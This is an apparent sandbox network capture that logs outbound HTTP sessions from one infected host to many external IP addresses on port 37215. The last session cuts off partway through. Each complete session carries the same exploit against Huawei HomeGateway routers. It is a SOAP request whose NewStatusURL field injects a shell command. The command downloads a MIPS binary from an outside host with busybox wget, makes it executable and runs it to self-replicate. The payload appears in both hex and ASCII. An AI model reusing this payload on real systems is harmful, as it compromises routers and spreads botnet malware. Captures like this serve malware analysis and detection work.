1	192.168.2.13	32874	41.56.118.161	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019481897 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	36272	182.85.50.153	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019539118 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	38980	197.214.55.135	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019558907 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	44802	194.65.196.65	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019633055 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	51224	157.200.98.141	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019655943 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	45044	159.247.186.213	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019712925 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	39322	197.234.38.242	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019716024 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	33704	197.92.237.222	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019716024 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	52992	212.19.225.186	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019747019 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	51784	109.174.172.219	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019788027 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	57984	157.154.83.107	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019793034 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 